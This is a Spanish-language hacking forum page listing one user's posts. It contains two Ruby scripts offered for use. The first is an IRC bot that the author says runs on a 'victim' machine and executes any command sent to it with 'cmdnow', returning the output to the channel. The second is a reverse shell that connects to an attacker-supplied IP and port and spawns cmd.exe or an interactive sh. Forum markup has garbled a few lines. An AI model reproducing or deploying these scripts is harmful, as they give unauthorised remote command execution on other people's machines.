Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Mensajes - BigBear

Páginas: 1 ... 26 27 [28]
541
Ruby / [Ruby] IRC Bot
« en: Julio 03, 2011, 09:31:41 pm »
Hola a todos

Acabo de hacer un simple bot para IRC , el bot se
conecta en la maquina ejecutante (victima) con un nombre
marcado por ustedes , entonces con solo poner

cmdnow :TU COMANDO:

Recibiran en el mismo chat un mensaje con el resultado del comando puesto

El codigo es el siguiente

Código: Ruby
  1. #!usr/bin/ruby
  2. #IRC Bot (C) Doddy Hackman 2011
  3.  
  4. host = "localhost"
  5. canal = "#locos"
  6. botname = "aa"
  7.  
  8. def head()
  9. print "\n\n == -- IRC BOT -- ==\n\n"
  10. end
  11.  
  12. def uso()
  13. print "\n<ul class="bbc_list"><li type="square"> Sintax : #{$0} <host> <channel> <bot name>\n"[/li][/list]
  14. end
  15.  
  16. def copyright()
  17. print "\n\n(C) Doddy Hackman 2011\n\n"
  18. end
  19.  
  20. def load(host,canal,botname)
  21. begin
  22. irc = TCPSocket.open(host,6667)
  23. rescue
  24. print "\n\n[-] Error\n\n"
  25. else
  26. irc.print "NICK #{botname}\r\n"
  27. irc.print "USER #{botname} 1 1 1 1\r\n"
  28. irc.print "JOIN #{canal}\r\n"
  29.  
  30. print "\n\n</li><li type="square"> Online\n\n"[/li][/list]
  31.  
  32. while 1
  33.  
  34. code = irc.recv(666)  
  35.  
  36. if (code=~/PING (.*)/)
  37. irc.print "PONG #{$1}\n"
  38. end
  39.  
  40. #if code=~/:(.*)!(.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)/
  41. #print "Un tal : #{$1}\n"
  42. #print "Dijo : #{$3}\n"
  43. #end
  44.  
  45. if code=~/cmdnow <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/
  46. re = IO.popen($1).read
  47. re = re.gsub("\n","|")
  48. irc.print "PRIVMSG #locos : ",re,"\r\n"  
  49. end
  50. end
  51. end
  52. end
  53.  
  54. head()
  55. load(host,canal,botname)
  56. copyright()
  57.  
  58.  
  59. # ¿ The End ?
  60.  

542
Ruby / [Ruby] BackShell
« en: Julio 03, 2011, 09:31:27 pm »
Un reverse shell en ruby

Código: Ruby
  1. #!usr/bin/ruby
  2. #Back Shell (C) Doddy HAckman 2010
  3. #Creditos : protos por darle vida a un lenguaje casi olvidado  en este mundo
  4.  
  5. require 'socket'
  6.  
  7. ip = ARGV[0]
  8. port = ARGV[1]
  9.  
  10. def uso
  11.   print "\n<ul class="bbc_list"><li type="square"> bind.rb <ip> <port>\n"[/li][/list]
  12. end
  13.  
  14. def  head
  15.   print "\n\n-- == ReverseShell By Doddy H == --\n\n"
  16. end
  17.  
  18. def copyright
  19.   print "\n\n(C) Doddy Hackman 2010\n\n"
  20. end
  21.  
  22.  
  23. def infowin
  24.   system("net user")
  25. end
  26.  
  27. def openwin()
  28.  system("cmd.exe")
  29.  end  
  30.  
  31.  def infolin
  32.   system("uname -a")
  33. end
  34.  
  35. def openlin()
  36.  system("export TERM=xterm;exec sh -i")
  37.  end  
  38.  
  39. def now(ip,port)
  40.   print "\n\n-- == ReverseShell By Doddy H == --\n\n"
  41.   print "\n</li><li type="square"> Ok , enter to the system\n\n"[/li][/list]
  42.  begin
  43.  backdoor = TCPSocket.new(ip,port)
  44.   $stdout.reopen(backdoor)
  45.   $stdin.reopen(backdoor)
  46.   rescue
  47.   print "\n[-] Un puto error !!\n\n"
  48.   exit(1)  
  49.   end
  50.   if RUBY_PLATFORM =~/win/
  51.    infowin()
  52.    openwin()
  53.   else
  54.    infolin()
  55.    openlin()
  56. end
  57. end
  58.  
  59.  
  60. if !ip and !port
  61.  uso()
  62. else
  63.   now(ip,port)
  64. end
  65.  
  66. #The End <img src="https://underc0de.org/foro/Smileys/default/huh.gif" alt="???" title="Huh" class="smiley" />
  67.  

Páginas: 1 ... 26 27 [28]